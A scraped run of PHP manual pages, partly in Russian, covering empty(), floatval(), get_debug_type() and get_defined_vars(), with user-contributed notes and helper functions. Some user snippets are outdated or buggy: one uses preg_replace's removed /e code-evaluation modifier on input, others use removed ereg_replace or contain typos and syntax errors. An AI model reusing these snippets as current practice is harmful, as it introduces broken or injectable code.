phpsort 21-Jan-2011 11:13
I'm summarising a few points on empty() with inaccessible properties, in the hope of saving others a bit of time. Using PHP 5.3.2.
<?php
class MyClass {
    private $foo = 'foo';
}
$myClass = new MyClass;
echo $myClass->foo;
?>
As expected, this gives "Fatal error: Cannot access private property MyClass::$foo".
But substitute the line
if (empty($myClass->foo)) echo 'foo is empty'; else echo 'foo is not empty';
and we get the misleading result "foo is empty".
There is NO ERROR OR WARNING, so this is a real gotcha. Your code will just go wrong silently, and I would say it amounts to a bug.
If you add two magic functions to the class:
public function __get($var) { return $this->$var; }
public function __isset($var) { return isset($this->$var); }
then we get the expected result. You need both functions.
For empty($myClass->foo), I believe PHP calls __isset, and if that is true returns the result of empty on the result of __get. (Some earlier posts wrongly suggest PHP just returns the negation of __isset).
BUT ...
See the earlier post by php at lanar dot com. I confirm those results, and if you extend the test with isset($x->a->b->c) it appears that __isset is only called for the last property in the chain. Arguably another bug. empty() behaves in the same way. So things are not as clear as we might hope.
See also the note on empty() at
http://uk3.php.net/manual/en/language.oop5.overloading.php
Clear as mud!
e dot klerks at i-bytes dot nl 08-Nov-2010 06:16
To make an empty function, which only accepts arrays, one can use type-hinting:

<?php
// emptyArray :: [a] -> Bool

function emptyArray(array $xs){
 return empty($xs);
}
?>

Type hinting is a good thing to use in your code, because it makes it more easy to reason about your code. Besides that, it automatically documents the code.
rodolphe dot bodeau at free dot fr 25-Oct-2010 06:37
Be careful, if "0" (zero as a string), 0 (zero as an integer) and -0 (minus zero as an integer) return true, "-0" (minus zero as a string (yes, I already had some customers that wrote -0 into a form field)) returns false. You need to cast your variable before testing it with the empty() function :

<?php
$var = "-0";
echo empty($var);  // returns false
$var = (int) $var; // casts $var as an integer
echo empty($vat);  // returns true
?>
ehsmeng 21-Sep-2010 05:25
I can't use empty() in all situations because '0' is usually not considered empty to me. I did a quick benchmark over the most common ways of testing it. '' == var suffers from '' == 0 is true so that's just there for curiosity.

<?php
    $microtimeref = microtime(true);
    $a = 0;
    $b = 'asd';
    for ($i = 0; $i < 5000000; $i++)
    {
        if (0 == mb_strlen ($b))
        {
            $a++;
        }
    }
    echo "Total time 0 == mb_strlen(var): <b>" . round(microtime(true) - $microtimeref,3) . 's</b><br />';
?>

The results:

Total time 0 == mb_strlen(var): 3.141s
Total time 0 === strlen(var): 2.904s
Total time 0 == strlen(var): 2.878s
Total time '' == var: 1.774s
Total time '' === var: 1.706s
Total time empty(var): 1.496s

Thus '' === var will be my zero length string test.
marko dot crni at gmail dot com 16-Sep-2010 11:06
Calling non existing object property, empty($object->prop), will trigger __isset(), the same way as isset($object->prop) does, but there is one difference. If __isset() returns TRUE, another call to __get() will be made and actual return value will be result of empty() and result of __get().
aidan1103 at yahoo dot com 26-Mar-2010 10:11
empty() should not necessarily return the negation of the __isset() magic function result, if you set a data member to 0, isset() should return true and empty should also return true.  A simpler implementation of the __isset magic function would be:

public function __isset($key) {
  return isset($this->{$key});
}

I don't understand why this isn't included in stdClass and inherited by default.
Janci 24-Aug-2009 08:57
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:

<?php
class Registry
{
    protected $_items = array();
    public function __set($key, $value)
    {
        $this->_items[$key] = $value;
    }
    public function __get($key)
    {
        if (isset($this->_items[$key])) {
            return $this->_items[$key];
        } else {
            return null;
        }
    }
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>

The result for empty($registry->notEmpty) is a bit unexpeced as the value is obviously set and non-empty. This is due to the fact that the empty() function uses __isset() magic functin in these cases. Although it's noted in the documentation above, I think it's worth mentioning in more detail as the behaviour is not straightforward. In order to achieve desired (expexted?) results, you need to add  __isset() magic function to your class:

<?php
class Registry
{
    protected $_items = array();
    public function __set($key, $value)
    {
        $this->_items[$key] = $value;
    }
    public function __get($key)
    {
        if (isset($this->_items[$key])) {
            return $this->_items[$key];
        } else {
            return null;
        }
    }
    public function __isset($key)
    {
        if (isset($this->_items[$key])) {
            return (false === empty($this->_items[$key]));
        } else {
            return null;
        }
    }
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // false, finally!
?>

It actually seems that empty() is returning negation of the __isset() magic function result, hence the negation of the empty() result in the __isset() function above.
denobasis-bozic et yahoo.com 18-Jul-2009 04:54
test if all multiarray's are empty

<?php
function is_multiArrayEmpty($multiarray) {
    if(is_array($multiarray) and !empty($multiarray)){
        $tmp = array_shift($multiarray);
            if(!is_multiArrayEmpty($multiarray) or !is_multiArrayEmpty($tmp)){
                return false;
            }
            return true;
    }
    if(empty($multiarray)){
        return true;
    }
    return false;
}

$testCase = array (
0 => '',
1 => "",
2 => null,
3 => array(),
4 => array(array()),
5 => array(array(array(array(array())))),
6 => array(array(), array(), array(), array(), array()),
7 => array(array(array(), array()), array(array(array(array(array(array(), array())))))),
8 => array(null),
9 => 'not empty',
10 => "not empty",
11 => array(array("not empty")),
12 => array(array(),array("not empty"),array(array()))
);

foreach ($testCase as $key => $case ) {
    echo "$key is_multiArrayEmpty= ".is_multiArrayEmpty($case)."<br>";
}
?>

OUTPUT:
========

0 is_multiArrayEmpty= 1
1 is_multiArrayEmpty= 1
2 is_multiArrayEmpty= 1
3 is_multiArrayEmpty= 1
4 is_multiArrayEmpty= 1
5 is_multiArrayEmpty= 1
6 is_multiArrayEmpty= 1
7 is_multiArrayEmpty= 1
8 is_multiArrayEmpty= 1
9 is_multiArrayEmpty=
10 is_multiArrayEmpty=
11 is_multiArrayEmpty=
12 is_multiArrayEmpty=
mlibazisi mabandla 28-May-2009 02:47
in cases when "0" is not intended to be empty, here is a simple function to safely test for an empty string (or mixed variable):

<?php
function _empty($string){
     $string = trim($string);
     if(!is_numeric($string)) return empty($string);
     return FALSE;
}
?>
thomas at thomasnoest dot nl 28-Nov-2008 01:54
Note on the selfmade empty function below:

function_exists() returns false on language constructs and empty is a language construct.
Anonymous 20-Aug-2008 02:41
To add on to what anon said, what's happening in john_jian's example seems unusual because we don't see the implicit typecasting going on behind the scenes.  What's really happening is:

$a = '';
$b = 0;
$c = '0';

(int)$a == $b -> true, because any string that's not a number gets converted to 0
$b==(int)$c -> true, because the int in the string gets converted
and
$a==$c -> false, because they're being compared as strings, rather than integers.  (int)$a==(int)$c should return true, however.

Note: I don't remember if PHP even *has* typecasting, much less if this is the correct syntax.  I'm just using something for the sake of examples.
tom at tomwardrop dot com 22-May-2008 05:01
In reply to "admin at ninthcircuit dot info",

Using str_replace is unnecessary. I would encourage the use of trim which would most likely be faster (haven't tested) and easier. Trim also takes care of other white space like line breaks and tabs. Actually, in most of the applications I code, I use a multi-dimensional array map function with trim on the Super Globals such as $_POST, $_GET and $_COOKIE as so far, there hasn't been an instance where I would want any user input to begin or end with whitespace. The good thing about doing this is that you never have to worry about 'trimming' your input which makes your code easier and more reliable (incase you forget to trim some input).
Greg Hartwig 02-May-2008 02:55
David from CodeXplorer:
>> The ONLY reason to use empty() is for code readability. It is the same as an IF/ELSE check.
>> So, don't bother using EMPTY in the real world.

This is NOT true.  empty() will not generate warnings if you're testing against an undefined variable as a simple boolean check will.  On production systems, warnings are usually shut off, but they are often active on development systems.

You could test a flag with
   <?php if ($flagvar)  ... ?>
but this can generate a warning if $flagvar is not set.

Instead of
   <?php if (isset($flagvar) && $flagvar)  ... ?>
you can simply use
   <?php if (!empty($flagvar))  ... ?>

for easy readability without warnings.
EllisGL 04-Oct-2007 02:48
Here's what I do for the zero issue issue:
if($val == '' && $val !== 0 && $val !== '0')
rkulla2 at gmail dot com 05-Sep-2007 03:57
Since I didn't like how empty() considers 0 and "0" to be empty (which can easily lead to bugs in your code), and since it doesn't deal with whitespace, i created the following function:

<?php
function check_not_empty($s, $include_whitespace = false)
{
    if ($include_whitespace) {
        // make it so strings containing white space are treated as empty too
        $s = trim($s);
    }
    return (isset($s) && strlen($s)); // var is set and not an empty string ''
}
?>

Instead of saying if (!empty($var)) { // it's not empty } you can just say if (check_not_empty($var)) { // it's not empty }.

If you want strings that only contain whitespace (such as tabs or spaces) to be treated as empty then do: check_not_empty($var, 1)

If you want to check if a string IS empty then do: !check_not_empty($var).

So, whenever you want to check if a form field both exists and contains a value just do: if (check_not_empty($_POST['foo'], 1))

no need to do if (isset() && !empty()) anymore =]
jmarbas at hotmail dot com 01-Jul-2005 09:10
empty($var) will return TRUE if $var is empty (according to the definition of 'empty' above) AND if $var is not set.

I know that the statement in the "Return Values" section of the manual already says this in reverse:

"Returns FALSE if var has a non-empty and non-zero value."

but I was like "Why is this thing returning TRUE for unset variables???"... oh i see now... Its supposed to return TRUE for unset variables!!!

<?php
  ini_set('error_reporting',E_ALL);
  ini_set('display_errors','1');
  empty($var);
?>
paul at worldwithoutwalls dot co dot uk 22-May-2004 10:09
Note the exceptions when it comes to decimal numbers:

<?php
$a = 0.00;
$b = '0.00';
echo (empty($a)? "empty": "not empty"); //result empty
echo (empty($b)? "empty": "not empty"); //result not empty
//BUT...
$c = intval($b);
echo (empty($c)? "empty": "not empty"); //result empty
?>

For those of you using MySQL, if you have a table with a column of decimal type, when you do a SELECT, your data will be returned as a string, so you'll need to do apply intval() before testing for empty.

e.g.
TABLE t has columns id MEDIUMINT and d DECIMAL(4,2)
and contains 1 row where id=1, d=0.00
<?php
$q = "SELECT * FROM t";
$res = mysql_query($q);
$row = mysql_fetch_assoc($res);
echo (empty($row['d'])? "empty": "not empty"); //result not empty
?>


Возвращает значение переменной в виде числа с плавающей точкой

  • « empty
  • get_debug_type »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает значение переменной в виде числа с плавающей точкой

floatval

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

floatval — Возвращает значение переменной в виде числа с плавающей точкой

Описание

floatval(mixed $value): float

Возвращает значение переменной value в виде числа с плавающей точкой (float).

Список параметров

value

Может быть любого скалярного типа. floatval() нельзя использовать с объектами, в этом случае возникнет ошибка уровня E_WARNING и функция вернёт 1.

Возвращаемые значения

Значение заданной переменной в виде числа с плавающей точкой. Пустые массивы в качестве аргумента возвращают 0, непустые массивы возвращают 1.

Строки чаще всего возвращают 0, тем не менее результат зависит от самых левых символов строки. Применяются правила приведения к float.

Список изменений

Версия | Описание
8.0.0 | Уровень ошибки при преобразовании из объекта был изменён с E_NOTICE на E_WARNING.

Примеры

Пример #1 Пример использования floatval()

<?php
$var = '122.34343The';
$float_value_of_var = floatval($var);
echo $float_value_of_var; // 122.34343
?>

Пример #2 Пример использования floatval() с нечисловыми крайними левыми символами

<?php
$var = 'The122.34343';
$float_value_of_var = floatval($var);
echo $float_value_of_var; // 0
?>

Смотрите также

  • boolval() - Возвращает логическое значение переменной
  • intval() - Возвращает целочисленное значение переменной
  • strval() - Возвращает строковое значение переменной
  • settype() - Задаёт тип переменной
  • Манипуляции с типами

User Contributed Notes

iliyazelenkog at gmail dot com 02-Nov-2018 10:51
(float) would be more performant here (up to 6x times faster).

intval, floatval, doubleval, strva for PHP4 functions (intval, floatval, doubleval, strval), in PHP5 use type casting construction (i.e. '(type) parameter').
radler63 at hotmail dot com 16-Feb-2018 12:27
I get the following disturbing results:
var_dump string(10) "?0.01333"
echo the string=?0.01333
echo (float)string=0
echo floatval(string)=0

The string is an outcome of array_map('str_getcsv', file(...
I can't find the characters 8-10

thanks
T-Soloveychik at ya.ru 03-Mar-2017 02:23
Float value less than 0.0001 (0.0000999999999999995) will be converted by floatval to scientific notation (exponential notation):
<?php

var_dump(floatval(0.0000999999999999995)); # >> float(0,0001)

var_dump(floatval("0.000099")); # >> float(9.9E-5)

var_dump((string)floatval(0.000099)); # >> string(6) "9.9E-5"
pierpaolocira 15-Nov-2016 11:41
Be aware the last tofloat($num).

In theory it is very useful to have a function "separator-agnostic" (I think "locale based" solutions are useless if you have to parse a user file that can have a locale different to the server).

But this can lead to misinterpretations; in short: "123,456" is "123.456" (so comma used as decimal separator) or "123456" (comma used as thousand separator).

In any case, if you really want to use it, please don't forget that this function doesn't manage negative numbers.
movila dot e dot v at gmail dot com 05-Jul-2016 08:05
<?php
       $price = '1.299,00 EUR';
    //$price = 'EUR 1.299,00';
    //$price = '$1,745.09';
    //$price = '$14';
    //$price = '$.14';

    function floatValue($str){
        if(preg_match("/([0-9\.,-]+)/", $str, $match)){
            $value = $match[0];
            if( preg_match("/(\.\d{1,2})$/", $value, $dot_delim) ){
                $value = (float)str_replace(',', '', $value);
            }
            else if( preg_match("/(,\d{1,2})$/", $value, $comma_delim) ){
                $value = str_replace('.', '', $value);
                $value = (float)str_replace(',', '.', $value);
            }
            else
                $value = (int)$value;
        }
        else {
            $value = 0;
        }
        return $value;
    }

    echo floatValue($price);
/*
    1.299,00
    1.299,00
    1,745.09
    14
    0.14
*/
?>
Alexey M 23-Mar-2016 02:28
There is much easier way to deal with formatted numbers:

<?php
$str = '13,232.95';
$var = (double)filter_var($str, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
var_dump($var);
?>
double(13232.95)
zfcb13 at gmail dot com 24-Oct-2015 10:18
More elegant function with selection of decimal point (deafault ,):
<?php
function floatvaldec($v, $dec=',') { return floatval(ereg_replace("," , "." , ereg_replace("[^-0-9$dec]","",$v))); }

// examples:
echo '<br>'.floatvaldec('somthing123.456.789,12Euro') ;
echo '<br>'.floatvaldec('x123,456 789.12 Euro', '.') ;
echo '<br>'.floatvaldec('123.456 789,12$') ;
?>
brewal dot renault at gmail dot com 26-Feb-2014 09:25
This function takes the last comma or dot (if any) to make a clean float, ignoring thousand separator, currency or any other letter :

function tofloat($num) {
    $dotPos = strrpos($num, '.');
    $commaPos = strrpos($num, ',');
    $sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos :
        ((($commaPos > $dotPos) && $commaPos) ? $commaPos : false);

    if (!$sep) {
        return floatval(preg_replace("/[^0-9]/", "", $num));
    }

    return floatval(
        preg_replace("/[^0-9]/", "", substr($num, 0, $sep)) . '.' .
        preg_replace("/[^0-9]/", "", substr($num, $sep+1, strlen($num)))
    );
}

$num = '1.999,369€';
var_dump(tofloat($num)); // float(1999.369)
$otherNum = '126,564,789.33 m?';
var_dump(tofloat($otherNum)); // float(126564789.33)

Demo : http://codepad.org/NW4e9hQH
PapaPinguoin 31-Oct-2011 07:26
To view the very large and very small numbers (eg from a database DECIMAL), without displaying scientific notation, or leading zeros.

FR : Pour afficher les tres grand et tres petits nombres (ex. depuis une base de donnees DECIMAL), sans afficher la notation scientifique, ni les zeros non significatifs.

<?php
function floattostr( $val )
{
    preg_match( "#^([\+\-]|)([0-9]*)(\.([0-9]*?)|)(0*)$#", trim($val), $o );
    return $o[1].sprintf('%d',$o[2]).($o[3]!='.'?$o[3]:'');
}
?>

<?php
echo floattostr("0000000000000001");
echo floattostr("1.00000000000000");
echo floattostr("0.00000000001000");
echo floattostr("0000.00010000000");
echo floattostr("000000010000000000.00000000000010000000000");
echo floattostr("-0000000000000.1");
echo floattostr("-00000001.100000");

// result
// 1
// 1
// 0.00000000001
// 0.0001
// 10000000000.0000000000001
// -0.1
// -1.1

?>
secretr at NOSPAM dot e107 dot org 03-Jan-2011 08:37
setlocale() and floatval() duo could break your DB queries in a very simple way:

<?php
setlocale(LC_ALL, 'bg_BG', 'bgr_BGR');
echo floatval(0.15); // output 0,15
?>

You would need simple workaround like:

<?php
function number2db($value)
{
    $larr = localeconv();
    $search = array(
        $larr['decimal_point'],
        $larr['mon_decimal_point'],
        $larr['thousands_sep'],
        $larr['mon_thousands_sep'],
        $larr['currency_symbol'],
        $larr['int_curr_symbol']
    );
    $replace = array('.', '.', '', '', '', '');

    return str_replace($search, $replace, $value);
}

setlocale(LC_ALL, 'bg_BG', 'bgr_BGR');
$testVal = floatval(0.15); // result 0,15
var_dump($testVal, number2db($testVal));

// Result:
// float(0,15)
// string(4) "0.15"
?>
chris at georgakopoulos dot com 29-Jul-2009 08:12
locale aware floatval:

<?php
function ParseFloat($floatString){
    $LocaleInfo = localeconv();
    $floatString = str_replace($LocaleInfo["mon_thousands_sep"] , "", $floatString);
    $floatString = str_replace($LocaleInfo["mon_decimal_point"] , ".", $floatString);
    return floatval($floatString);
}
?>
ted devito 09-Mar-2009 09:10
i noticed all (well, unless i missed something) the functions working with decimals destroy trailing decimal places. this function restores them in case you want to be able to display a consistent precision for users.

<?php
function decimal($val, $precision = 0) {
    if ((float) $val) :
        $val = round((float) $val, (int) $precision);
        list($a, $b) = explode('.', $val);
        if (strlen($b) < $precision) $b = str_pad($b, $precision, '0', STR_PAD_RIGHT);
        return $precision ? "$a.$b" : $a;
    else : // do whatever you want with values that do not have a float
        return $val;
    endif;
}
?>
info at marc-gutt dot de 26-Aug-2008 03:55
<?php
function floatvalue($value) {
     return floatval(preg_replace('#^([-]*[0-9\.,\' ]+?)((\.|,){1}([0-9-]{1,2}))*$#e', "str_replace(array('.', ',', \"'\", ' '), '', '\\1') . '.\\4'", $value));
}
?>

It is much shorter and able to handle those one, too:
xx,-
xx,--
xx'xxx,xx

After using floatvalue() you can go forward with number_format() as usual.
Michiel 30-Jul-2008 05:21
The last getFloat() function is not completely correct.

1.000.000 and 1,000,000 and its negative variants are not correctly parsed. For the sake of comparing and to make myself clear I use the name parseFloat in stead of getFloat for the new function:

<?php
function parseFloat($ptString) {
            if (strlen($ptString) == 0) {
                    return false;
            }

            $pString = str_replace(" ", "", $ptString);

            if (substr_count($pString, ",") > 1)
                $pString = str_replace(",", "", $pString);

            if (substr_count($pString, ".") > 1)
                $pString = str_replace(".", "", $pString);

            $pregResult = array();

            $commaset = strpos($pString,',');
            if ($commaset === false) {$commaset = -1;}

            $pointset = strpos($pString,'.');
            if ($pointset === false) {$pointset = -1;}

            $pregResultA = array();
            $pregResultB = array();

            if ($pointset < $commaset) {
                preg_match('#(([-]?[0-9]+(\.[0-9])?)+(,[0-9]+)?)#', $pString, $pregResultA);
            }
            preg_match('#(([-]?[0-9]+(,[0-9])?)+(\.[0-9]+)?)#', $pString, $pregResultB);
            if ((isset($pregResultA[0]) && (!isset($pregResultB[0])
                    || strstr($preResultA[0],$pregResultB[0]) == 0
                    || !$pointset))) {
                $numberString = $pregResultA[0];
                $numberString = str_replace('.','',$numberString);
                $numberString = str_replace(',','.',$numberString);
            }
            elseif (isset($pregResultB[0]) && (!isset($pregResultA[0])
                    || strstr($pregResultB[0],$preResultA[0]) == 0
                    || !$commaset)) {
                $numberString = $pregResultB[0];
                $numberString = str_replace(',','',$numberString);
            }
            else {
                return false;
            }
            $result = (float)$numberString;
            return $result;
}
?>

Comparing of float parsing functions with the following function:

<?php
function testFloatParsing() {
    $floatvals = array(
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22 000",
        "22,000",
        "22.000",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>floatval()</th>
            <th>getFloat()</th>
            <th>parseFloat()</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) floatval($fval) . "</td>";
        echo "<td>" . (float) getFloat($fval) . "</td>";
        echo "<td>" . (float) parseFloat($fval) . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
?>
steve at opilo dot net 20-Jul-2008 06:07
Most of the functions listed here that deal with $ and , are unnecessarily complicated. You can use ereg_replace() to strip out ALL of the characters that will cause floatval to fail in one simple line of code:

<?php $output = floatval(ereg_replace("[^-0-9\.]","",$input)); ?>
leprau at leprau dot de 19-Jul-2007 09:26
For those of you, who are looking for a function that rips the first,
but longest possible float (or at least integer) from a string,
like 123.45 from the string "Price: 123,45$"

If no useable value is found, the function returns false.

Checks for both comma and dot as decimal-separator,
but does not check for 3 digits between thousands,
so 1,234.5 is as valid as 1,23,4.5 (both will return 1234.5)

12,.3 will return 12
1,000,000 will return 1000.0 !

(if thousands separator is defined,
decimals should be defined too ...
in fact I was too lazy to check for that too)

Here you go, and feel free to optimize the function ;)
<?php
function getFloat($pString) {
    if (strlen($pString) == 0) {
            return false;
    }
    $pregResult = array();

    $commaset = strpos($pString,',');
    if ($commaset === false) {$commaset = -1;}

    $pointset = strpos($pString,'.');
    if ($pointset === false) {$pointset = -1;}

    $pregResultA = array();
    $pregResultB = array();

    if ($pointset < $commaset) {
        preg_match('#(([-]?[0-9]+(\.[0-9])?)+(,[0-9]+)?)#', $pString, $pregResultA);
    }
    preg_match('#(([-]?[0-9]+(,[0-9])?)+(\.[0-9]+)?)#', $pString, $pregResultB);
    if ((isset($pregResultA[0]) && (!isset($pregResultB[0])
            || strstr($preResultA[0],$pregResultB[0]) == 0
            || !$pointset))) {
        $numberString = $pregResultA[0];
        $numberString = str_replace('.','',$numberString);
        $numberString = str_replace(',','.',$numberString);
    }
    elseif (isset($pregResultB[0]) && (!isset($pregResultA[0])
            || strstr($pregResultB[0],$preResultA[0]) == 0
            || !$commaset)) {
        $numberString = $pregResultB[0];
        $numberString = str_replace(',','',$numberString);
    }
    else {
        return false;
    }
    $result = (float)$numberString;
    return $result;
}
?>
aa at geb-team dot de 04-Sep-2006 08:03
@pillepop2003 at yahoo dot de

<?php
float('-100.00', array('single_dot_as_decimal' => true)); // whoops, returns -10000
?>

use: "/^[0-9-]*[\.]{1}[0-9-]+$/"
instead of: "/^[0-9]*[\.]{1}[0-9-]+$/"
19-Apr-2005 05:30
you can also use typecasting instead of functions:

(float) $value;
pillepop2003 at yahoo dot de 14-Dec-2004 02:38
Use this snippet to extract any float out of a string. You can choose how a single dot is treated with the (bool) 'single_dot_as_decimal' directive.
This function should be able to cover almost all floats that appear in an european environment.

<?php

    function float($str, $set=FALSE)
    {
        if(preg_match("/([0-9\.,-]+)/", $str, $match))
        {
            // Found number in $str, so set $str that number
            $str = $match[0];

            if(strstr($str, ','))
            {
                // A comma exists, that makes it easy, cos we assume it separates the decimal part.
                $str = str_replace('.', '', $str);    // Erase thousand seps
                $str = str_replace(',', '.', $str);    // Convert , to . for floatval command

                return floatval($str);
            }
            else
            {
                // No comma exists, so we have to decide, how a single dot shall be treated
                if(preg_match("/^[0-9]*[\.]{1}[0-9-]+$/", $str) == TRUE && $set['single_dot_as_decimal'] == TRUE)
                {
                    // Treat single dot as decimal separator
                    return floatval($str);

                }
                else
                {
                    // Else, treat all dots as thousand seps
                    $str = str_replace('.', '', $str);    // Erase thousand seps
                    return floatval($str);
                }
            }
        }

        else
        {
            // No number found, return zero
            return 0;
        }
    }

// Examples

echo float('foo 123,00 bar'); // returns 123.00
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 123.000
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 222123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 222123000

// The decimal part can also consist of '-'
echo float('foo 123,-- bar'); // returns 123.00

?>

Big Up.
Philipp
anonymous at start dot be 15-Jun-2004 07:00
Easier-to-grasp-function for the ',' problem.

<?php
function Getfloat($str) {
  if(strstr($str, ",")) {
    $str = str_replace(".", "", $str); // replace dots (thousand seps) with blancs
    $str = str_replace(",", ".", $str); // replace ',' with '.'
  }

  if(preg_match("#([0-9\.]+)#", $str, $match)) { // search for number that may contain '.'
    return floatval($match[0]);
  } else {
    return floatval($str); // take some last chances with floatval
  }
}

echo Getfloat("$ 19.332,35-"); // will print: 19332.35
?>
vickers at hotpop dot com 26-Jan-2004 03:45
floatval() does not work with "$35,234.43", as it could not handle the '$' and the ','.  The following takes care of all values, such that only numeric and the decimal sign are input into floatval().  (It probably shows I'm an old 'c' guy)...this function only lightly tested.

<?php
function strtflt($str) {
    $il = strlen($str);
    $flt = "";
    $cstr = "";

    for($i=0;$i<$il;$i++) {
        $cstr = substr($str, $i, 1);
        if(is_numeric($cstr) || $cstr == ".")
            $flt = $flt.$cstr;
    }
    return floatval($flt);
}
?>

Richard Vickers
vickers@hotpop.com
Zipi 25-Apr-2003 02:51
This function converts a string to a float no matter is the decimal separator dot (.) or comma (,). It also converts integers correctly. It takes the digits from the beginning of the string and ignores all other characters.

<?php
function floatval($strValue) {
   $floatValue = ereg_replace("(^[0-9]*)(\\.|,)([0-9]*)(.*)", "\\1.\\3", $strValue);
   if (!is_numeric($floatValue)) $floatValue = ereg_replace("(^[0-9]*)(.*)", "\\1", $strValue);
   if (!is_numeric($floatValue)) $floatValue = 0;
   return $floatValue;
  }
?>

-Zipi (Finland)
jason at shadonet dot com 07-Mar-2003 07:07
Instead of using floatval which only appeared in PHP 4.2 you could juse use $variable = (float)$variable

This function doesn't seem to add any functionality that wasn't already there.


Возвращает имя типа переменной в виде, подходящем для отладки

  • « floatval
  • get_defined_vars »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает имя типа переменной в виде, подходящем для отладки

get_debug_type

(PHP 8)

get_debug_type — Возвращает имя типа переменной в виде, подходящем для отладки

Описание

get_debug_type(mixed $value): string

Возвращает преобразованное имя переменной PHP value. Функция преобразует объекты в имя их класса, ресурсы - в имя их типа ресурса, а скалярные значения - в общепринятое имя их типа, которое бы использовалось в объявлении типов.

Функция отличается от gettype() тем, что возвращает имена типов, которые больше соответствуют фактическому использованию, а не те, которые присутствуют по историческим причинам.

Список параметров

value

Переменная, у которой проверяется тип.

Возвращаемые значения

Возможные значения для возвращаемой строки:

Тип + Состояние | Возвращаемое значение | Замечания
null | "null" | -
Логические значения (true или false) | "bool" | -
Целые числа | "int" | -
Числа с плавающей точкой | "float" | -
Строки | "string" | -
Массивы | "array" | -
Ресурсы | "resource (resourcename)" | -
Ресурсы (закрытые) | "resource (closed)" | Пример: файловый поток после закрытия с помощью fclose.
Объекты именованных классов | Полное имя класса, включая его пространство имён, например, Foo\Bar | -
Объекты анонимных классов | "class@anonymous" | Анонимные классы - это классы, созданные с использованием синтаксиса $x = new class { ... }.

Примеры

Пример #1 Пример использования get_debug_type()

<?php
echo get_debug_type(null) . PHP_EOL;
echo get_debug_type(true) . PHP_EOL;
echo get_debug_type(1) . PHP_EOL;
echo get_debug_type(0.1) . PHP_EOL;
echo get_debug_type("foo") . PHP_EOL;
echo get_debug_type([]) . PHP_EOL;

$fp = fopen(__FILE__, 'rb');
echo get_debug_type($fp) . PHP_EOL;

fclose($fp);
echo get_debug_type($fp) . PHP_EOL;

echo get_debug_type(new stdClass) . PHP_EOL;
echo get_debug_type(new class {}) . PHP_EOL;
?>

Вывод приведённого примера будет похож на:

null
bool
int
float
string
array
resource (stream)
resource (closed)
stdClass
class@anonymous

Смотрите также

  • gettype() - Возвращает тип переменной
  • get_class() - Возвращает имя класса, которому принадлежит объект

User Contributed Notes

vyacheslav dot belchuk at gmail dot com 02-Nov-2023 05:52
Also, the function returns the correct type of Closure, as opposed to gettype()

<?php

echo get_debug_type(function () {}) . PHP_EOL;
echo get_debug_type(fn () => '') . PHP_EOL . PHP_EOL;

echo gettype(function () {}) . PHP_EOL;
echo gettype(fn () => '');

?>

Output:

Closure
Closure

object
object


Возвращает массив всех определённых переменных

  • « get_debug_type
  • get_resource_id »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает массив всех определённых переменных

get_defined_vars

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_vars — Возвращает массив всех определённых переменных

Описание

get_defined_vars(): array

Эта функция возвращает многомерный массив, содержащий список всех определённых переменных, будь то переменные окружения, серверные переменные или переменные, определённые пользователем, в той области видимости, в которой была вызвана get_defined_vars().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Многомерный массив со всеми переменными.

Примеры

Пример #1 Пример использования get_defined_vars()

<?php
$b = array(1, 1, 2, 3, 5, 8);

$arr = get_defined_vars();

// печатает $b
print_r($arr["b"]);

/* печатает путь до интерпретатора PHP (при использовании режима CGI)
* например, /usr/local/bin/php */
echo $arr["_"];

// печатает параметры командной строки, если они есть
print_r($arr["argv"]);

// печатает все серверные переменные
print_r($arr["_SERVER"]);

// печатает все доступные ключи для массивов переменных
print_r(array_keys(get_defined_vars()));
?>

Смотрите также

  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • get_defined_functions() - Возвращает массив определённых функций
  • get_defined_constants() - Возвращает ассоциативный массив с именами всех констант и их значений

User Contributed Notes

cmswares dot com at gmail dot com 10-Jan-2022 11:27
Be aware of what get_defined_vars() function returns in different contexts:

- In global scope, a list of all defined variables, whether superglobals, command line arguments or user-defined variables
- In function scope, only a list of user-defined variables (both arguments and in-body definitions)
- In class/object method scope, does not return class/object properties;

Also, as of PHP 5.4, does not return $_ENV even where available.

For further details and scope tests/results, see https://github.com/php/doc-en/issues/1317
Qiibow 05-Sep-2021 02:55
get_defined_vars() is very useful for importing many values at once
into another scope (Such as User-defined functions).

